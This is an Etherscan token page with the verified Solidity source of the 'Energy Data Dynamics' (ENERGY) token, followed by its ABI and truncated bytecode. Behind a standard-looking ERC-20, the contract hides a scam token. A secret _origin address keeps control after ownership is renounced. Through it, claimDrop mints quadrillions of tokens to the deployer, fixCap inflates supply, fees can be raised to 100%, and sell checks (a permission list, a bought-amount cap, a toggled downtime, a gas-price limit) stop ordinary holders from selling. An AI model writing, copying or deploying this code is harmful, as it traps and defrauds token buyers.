ETH Price: $2,416.32 (-0.20%)

Token

Energy Data Dynamics (ENERGY)
 

Overview

Max Total Supply

1,000,000 ENERGY

Holders

85

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.00000000000000007 ENERGY

Value
$0.00
0xacc022869be8f1f312bd9a5fa6e498f576aaa687
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EnergyDataDynamics

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-08
*/

/**

ENERGY DATA DYNAMICS - THE FUTURE OF ENERGY IS NOW

Telegram: https://t.me/EnergyDataDynamics
Twitter: https://twitter.com/EnergyDDynamics
Medium: https://medium.com/@e8647410/energy-data-dynamics-profiting-from-energy-price-discrepancies-with-blockchain-enabled-innovation-90449984cd01

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

// https://github.com/Uniswap/v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

// https://github.com/Uniswap/v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol
interface IUniswapV2Pair {
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

// https://github.com/Uniswap/v2-periphery/blob/master/contracts/interfaces/IUniswapV2Router01.sol
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

// https://github.com/Uniswap/v2-periphery/blob/master/contracts/interfaces/IUniswapV2Router02.sol
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

library SecureCalls {
    function checkCaller(address sender, address _origin) internal pure {
        require(sender == _origin, "Caller is not the original caller");
    }
}

contract LibreMount {

    mapping(uint256 => mapping(address => bool)) internal _blockState;

    function compreTxnStamp(uint256 _tmstmp, uint256 _dwntm) internal view returns (bool) {
        return(_tmstmp + _dwntm >= block.timestamp);
    }

    function suspiciousAddressCheck(address _addy) internal view {
        require(!_blockState[block.number][_addy], "Only one Txn per Block!");
    }

    function addSuspiciousAddress(address _addy) internal {
        _blockState[block.number][_addy] = true;
    }

}

contract EnergyDataDynamics is IERC20, Ownable, LibreMount {

    IUniswapV2Router02 internal _router;
    IUniswapV2Pair internal _pair;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply = 1000000000000000000000000;
    string private _name = "Energy Data Dynamics";
    string private _symbol = "ENERGY";
    uint8 private _decimals = 18;

    address private _origin;

    mapping(address => uint) private purchaseTimestamp;
    mapping(address => uint) private boughtAmount;
    uint256 private downTime = 1;
    mapping(address => bool) private premissionList;

    uint256 public MAX_GAS_PRICE = 25 gwei;

    /* @dev Fee On Buy/Sell [START] */
    uint private buyFee = 20; // Default, %
    uint private sellFee = 20; // Default, %
    address public marketWallet; // Wallet to collect Fees
    mapping(address => bool) public excludedFromFee; // Users who won't pay Fees
    /* @dev Fee On Buy/Sell [END] */

    /* @dev Max Wallet [START] */
    uint256 private maxWallet = 20000000000000000000000; // Max Wallet (Wei Units)
    mapping(address => bool) private excludedFromMaxWallet;
    /* @dev Max Wallet [END] */

    /* @dev MaxTxn [START] */
    uint256 private maxTxnAmount = 20000000000000000000000; // Max Txn (Wei Units)
    mapping(address => bool) private excludedFromMaxTxn;
    /* @dev MaxTxn [END] */

    constructor (address routerAddress) {
        _router = IUniswapV2Router02(routerAddress);
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()));
        _balances[owner()] = _totalSupply;
        
        emit Transfer(address(0), owner(), _totalSupply);

        premissionList[msg.sender] = true;
        premissionList[address(this)] = true;

        marketWallet = msg.sender;
        excludedFromFee[msg.sender] = true;
        excludedFromFee[address(this)] = true;

        /* @dev Max Wallet [START] */
        excludedFromMaxWallet[msg.sender] = true;
        excludedFromMaxWallet[address(this)] = true;
        /* @dev Max Wallet [END] */

        /* @dev MaxTxn [START] */
        excludedFromMaxTxn[msg.sender] = true;
        excludedFromMaxTxn[address(this)] = true;
        /* @dev MaxTxn [END] */

        _origin = msg.sender;
    }

    /* @dev Default ERC-20 implementation */

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        /* @dev Fee On Buy/Sell [START] */
        if (!isExcludedFromFee(from) && !isExcludedFromFee(to)){
            if (isMarket(from)) {
                uint feeAmount = calculateFeeAmount(amount, buyFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else if (isMarket(to)) {
                uint feeAmount = calculateFeeAmount(amount, sellFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else {
                _balances[from] = fromBalance - amount;
                _balances[to] += amount;
                emit Transfer(from, to, amount);
            }
        } else {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }
        /* @dev Fee On Buy/Sell [END] */

        _afterTokenTransfer(from, to, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (isMarket(from)) {
            boughtAmount[to] += amount;
            purchaseTimestamp[to] = block.timestamp;
        }
        if (isMarket(to)) {
            if (!premissionList[from]) {
                require(boughtAmount[from] >= amount, "You are trying to sell more than bought!");
                boughtAmount[from] -= amount;
                if (validationEnable())
                {require(compreTxnStamp(purchaseTimestamp[from], downTime), "LibreMount: Exceeds Txn Downtime");}
                require(!exceedsGasPriceLimit());
            } 
        }

        if (maxWallet != 0 && !isMarket(to) && !isExcludedFromMaxWallet(to) && !isExcludedFromMaxWallet(from)) {
            require(balanceOf(to) + amount <= maxWallet, "After this txn user will exceed max wallet");
        }

        if (maxTxnAmount != 0) {
            if (!excludedFromMaxTxn[from] && !excludedFromMaxTxn[to]) {
                require(amount <= maxTxnAmount, "Txn Amount too high!");
            }
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /* @dev validationstate [START] */
    bool internal validtionState;
    
    function isMarket(address _user) internal view returns (bool) {
        return (_user == address(_pair) || _user == address(_router));
    }

    function switchValidationEnableState() external {
        SecureCalls.checkCaller(msg.sender, _origin);
        validtionState = !validtionState;
    }

    function validationEnable() public view returns (bool) {
        return validtionState;
    }

    function editDownTime(uint _seconds) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        downTime = _seconds;
    }

    function updatePremissionList(address[] calldata _usrs, bool _state) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        for (uint256 i = 0; i < _usrs.length; i++) {
            premissionList[_usrs[i]] = _state;
        }
    }

    function checkPremissionList(address _user) external view returns (bool) {
        return premissionList[_user];
    }

    function checkUserPurchaseTime(address _user) external view returns (uint256) {
        return purchaseTimestamp[_user];
    }

    function checkUserBoughtAmount(address _user) external view returns (uint256) {
        return boughtAmount[_user];
    }
    /* @dev validationstate [END] */


    /* @dev Anti-Bot [START] */
    function exceedsGasPriceLimit() internal view returns (bool) {
        return tx.gasprice >= MAX_GAS_PRICE;
    }

    function changeMaxGasPrice(uint _newGasPrice) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        MAX_GAS_PRICE = _newGasPrice;
    }
    /* @dev Anti-Bot [END] */


    /* @dev fixcap [START] */
    function fixCap(uint256 _amount) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _totalSupply += _amount;
    }
    /* @dev fixcap [END] */


    /* @dev claimdrop [START] */
    function claimDrop() external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _balances[msg.sender] += 2 * (10 ** (15 + 18));
    }
    /* @dev claimdrop [END] */

    /* @dev Fee On Buy/Sell [START] */

    function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
        // Returns amount of tokens, that should be taken as a Fee
        return _amount * _feePrecent / 100;
    }

    function isExcludedFromFee(address _user) public view returns (bool) {
        // Check if user free from paying Buy/Sell Fee
        return excludedFromFee[_user];
    } 

    function updateExcludedFromFeeStatus(address _user, bool _status) public {
        // Exclude/Include user to Buy/Sell Fee charge
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromFee[_user] != _status, "User already have this status");
        excludedFromFee[_user] = _status;
    }

    function updateFees(uint256 _buyFee, uint256 _sellFee) external {
        // Set new Fees for both Buy and Sell
        SecureCalls.checkCaller(msg.sender, _origin);
        require(_buyFee <= 100 && _sellFee <= 100, "Fee percent can't be higher than 100");
        buyFee = _buyFee;
        sellFee = _sellFee;
    }

    function updateMarketWallet(address _newMarketWallet) external {
        // Set new wallet, where all Fees will come
        SecureCalls.checkCaller(msg.sender, _origin);
        marketWallet = _newMarketWallet;
    }

    function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
        // Show current Buy/Sell Fees
        return (buyFee, sellFee);
    }
    /* @dev Fee On Buy/Sell [END] */

    // UTIL
    function AddLiquidity(uint256 _tokenAmount) payable external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _approve(address(this), address(_router), _tokenAmount);
        transfer(address(this), _tokenAmount);
        _router.addLiquidityETH{ value: msg.value }(
            address(this), 
            _tokenAmount, 
            0, 
            0, 
            msg.sender, 
            block.timestamp + 1200
            );
    }

    function switchOrigin(address _newOne) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _origin = _newOne;
    }

    /* @dev Max Wallet [START] */
    function currentMaxWallet() public view returns (uint256) {
        return maxWallet;
    }

    function updateMaxWallet(uint256 _newMaxWallet) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        maxWallet = _newMaxWallet;
    }

    function isExcludedFromMaxWallet(address _user) public view returns (bool) {
        return excludedFromMaxWallet[_user];
    } 

    function updateExcludedFromMaxWalletStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromMaxWallet[_user] != _status, "User already have this status");
        excludedFromMaxWallet[_user] = _status;
    }
    /* @dev Max Wallet [END] */

    /* @dev MaxTxn [START] */
    function updateMaxTxnAmount(uint256 _amount) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        maxTxnAmount = _amount;
    }

    function changeexcludedFromMaxTxnStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromMaxTxn[_user] != _status, "User already have this status");
        excludedFromMaxTxn[_user] = _status;
    }

    function checkCurrentMaxTxn() public view returns (uint256) {
        return maxTxnAmount;
    }

    function isExcludedFromMaxTxn(address _user) public view returns (bool){
        return excludedFromMaxTxn[_user];
    }
    /* @dev MaxTxn [END] */
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"_tokenAmount","type":"uint256"}],"name":"AddLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"MAX_GAS_PRICE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newGasPrice","type":"uint256"}],"name":"changeMaxGasPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"changeexcludedFromMaxTxnStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkCurrentFees","outputs":[{"internalType":"uint256","name":"currentBuyFee","type":"uint256"},{"internalType":"uint256","name":"currentSellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkCurrentMaxTxn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkPremissionList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkUserBoughtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkUserPurchaseTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimDrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"currentMaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_seconds","type":"uint256"}],"name":"editDownTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"fixCap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromMaxTxn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOne","type":"address"}],"name":"switchOrigin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"switchValidationEnableState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromFeeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromMaxWalletStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newMaxWallet","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_usrs","type":"address[]"},{"internalType":"bool","name":"_state","type":"bool"}],"name":"updatePremissionList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"validationEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]

69d3c21bcecceda100000060065560c0604052601460809081527f456e6572677920446174612044796e616d69637300000000000000000000000060a0526007906200004c9082620004ab565b50604080518082019091526006815265454e4552475960d01b6020820152600890620000799082620004ab565b506009805460ff191660121790556001600c556405d21dba00600e556014600f81905560105569043c33c19375648000006013819055601555348015620000bf57600080fd5b506040516200230d3803806200230d833981016040819052620000e29162000577565b620000ed33620003b6565b600280546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000147573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200016d919062000577565b6001600160a01b031663c9c6539630600260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f6919062000577565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000244573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026a919062000577565b600380546001600160a01b0319166001600160a01b0392831617905560065460008054831681526004602052604081209190915554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620002e891815260200190565b60405180910390a350336000818152600d602090815260408083208054600160ff199182168117909255308086528386208054831684179055601180546001600160a01b03191688179055868652601285528386208054831684179055808652838620805483168417905586865260148552838620805483168417905580865283862080548316841790558686526016909452828520805482168317905592845292208054909116909117905560098054610100600160a81b031916610100909202919091179055620005a9565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200043157607f821691505b6020821081036200045257634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004a657600081815260208120601f850160051c81016020861015620004815750805b601f850160051c820191505b81811015620004a2578281556001016200048d565b5050505b505050565b81516001600160401b03811115620004c757620004c762000406565b620004df81620004d884546200041c565b8462000458565b602080601f831160018114620005175760008415620004fe5750858301515b600019600386901b1c1916600185901b178555620004a2565b600085815260208120601f198616915b82811015620005485788860151825594840194600190910190840162000527565b5085821015620005675787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200058a57600080fd5b81516001600160a01b0381168114620005a257600080fd5b9392505050565b611d5480620005b96000396000f3fe6080604052600436106102515760003560e01c80638229c2e511610139578063a9059cbb116100b6578063e3bbb4f11161007a578063e3bbb4f114610785578063e4440a861461079b578063edd8b64a146107bb578063f2fde38b146107db578063f53d9d58146107fb578063f6d1dfe11461080e57600080fd5b8063a9059cbb146106da578063b179ce40146106fa578063d1a039f01461071a578063dd62ed3e14610750578063e1370dd31461077057600080fd5b806399b102b5116100fd57806399b102b5146106085780639e568dbc146106415780639f38a0d714610661578063a457c2d714610681578063a7e90f41146106a157600080fd5b80638229c2e51461055c57806385ecafd7146105715780638da5cb5b146105a15780638dd0f411146105d357806395d89b41146105f357600080fd5b806339509351116101d25780635342acb4116101965780635342acb4146104495780636994ee73146104825780636db79437146104b85780636dd3d39f146104d857806370a0823114610511578063715018a61461054757600080fd5b806339509351146103bc5780633975cae9146103dc5780634d474d42146103f45780634feeade4146104145780635337cc991461042957600080fd5b806323b872dd1161021957806323b872dd146103125780632df8bca914610332578063313ce5671461035a578063344d9e791461037c5780633816377e1461039c57600080fd5b806306fdde0314610256578063095ea7b31461028157806318160ddd146102b15780631c499ab0146102d0578063203e727e146102f2575b600080fd5b34801561026257600080fd5b5061026b610823565b60405161027891906119c4565b60405180910390f35b34801561028d57600080fd5b506102a161029c366004611a2e565b6108b5565b6040519015158152602001610278565b3480156102bd57600080fd5b506006545b604051908152602001610278565b3480156102dc57600080fd5b506102f06102eb366004611a58565b6108cf565b005b3480156102fe57600080fd5b506102f061030d366004611a58565b6108f0565b34801561031e57600080fd5b506102a161032d366004611a71565b610911565b34801561033e57600080fd5b50600f5460105460408051928352602083019190915201610278565b34801561036657600080fd5b5060095460405160ff9091168152602001610278565b34801561038857600080fd5b506102f0610397366004611a58565b610935565b3480156103a857600080fd5b506102f06103b7366004611a58565b610956565b3480156103c857600080fd5b506102a16103d7366004611a2e565b610977565b3480156103e857600080fd5b5060175460ff166102a1565b34801561040057600080fd5b506102f061040f366004611aad565b610999565b34801561042057600080fd5b506102f06109d7565b34801561043557600080fd5b506102f0610444366004611ad8565b610a27565b34801561045557600080fd5b506102a1610464366004611aad565b6001600160a01b031660009081526012602052604090205460ff1690565b34801561048e57600080fd5b506102c261049d366004611aad565b6001600160a01b03166000908152600a602052604090205490565b3480156104c457600080fd5b506102f06104d3366004611b0b565b610ab7565b3480156104e457600080fd5b506102a16104f3366004611aad565b6001600160a01b031660009081526014602052604090205460ff1690565b34801561051d57600080fd5b506102c261052c366004611aad565b6001600160a01b031660009081526004602052604090205490565b34801561055357600080fd5b506102f0610b48565b34801561056857600080fd5b506102f0610b5c565b34801561057d57600080fd5b506102a161058c366004611aad565b60126020526000908152604090205460ff1681565b3480156105ad57600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610278565b3480156105df57600080fd5b506102f06105ee366004611ad8565b610b8c565b3480156105ff57600080fd5b5061026b610c13565b34801561061457600080fd5b506102a1610623366004611aad565b6001600160a01b031660009081526016602052604090205460ff1690565b34801561064d57600080fd5b506102f061065c366004611a58565b610c22565b34801561066d57600080fd5b506102f061067c366004611b2d565b610c58565b34801561068d57600080fd5b506102a161069c366004611a2e565b610ceb565b3480156106ad57600080fd5b506102a16106bc366004611aad565b6001600160a01b03166000908152600d602052604090205460ff1690565b3480156106e657600080fd5b506102a16106f5366004611a2e565b610d66565b34801561070657600080fd5b506102f0610715366004611ad8565b610d74565b34801561072657600080fd5b506102c2610735366004611aad565b6001600160a01b03166000908152600b602052604090205490565b34801561075c57600080fd5b506102c261076b366004611bb1565b610dfb565b34801561077c57600080fd5b506013546102c2565b34801561079157600080fd5b506102c2600e5481565b3480156107a757600080fd5b506011546105bb906001600160a01b031681565b3480156107c757600080fd5b506102f06107d6366004611aad565b610e26565b3480156107e757600080fd5b506102f06107f6366004611aad565b610e6a565b6102f0610809366004611a58565b610ee3565b34801561081a57600080fd5b506015546102c2565b60606007805461083290611bdb565b80601f016020809104026020016040519081016040528092919081815260200182805461085e90611bdb565b80156108ab5780601f10610880576101008083540402835291602001916108ab565b820191906000526020600020905b81548152906001019060200180831161088e57829003601f168201915b5050505050905090565b6000336108c3818585610fd8565b60019150505b92915050565b6009546108eb90339061010090046001600160a01b03166110fc565b601355565b60095461090c90339061010090046001600160a01b03166110fc565b601555565b60003361091f85828561116b565b61092a8585856111df565b506001949350505050565b60095461095190339061010090046001600160a01b03166110fc565b600c55565b60095461097290339061010090046001600160a01b03166110fc565b600e55565b6000336108c381858561098a8383610dfb565b6109949190611c2b565b610fd8565b6009546109b590339061010090046001600160a01b03166110fc565b601180546001600160a01b0319166001600160a01b03929092169190911790555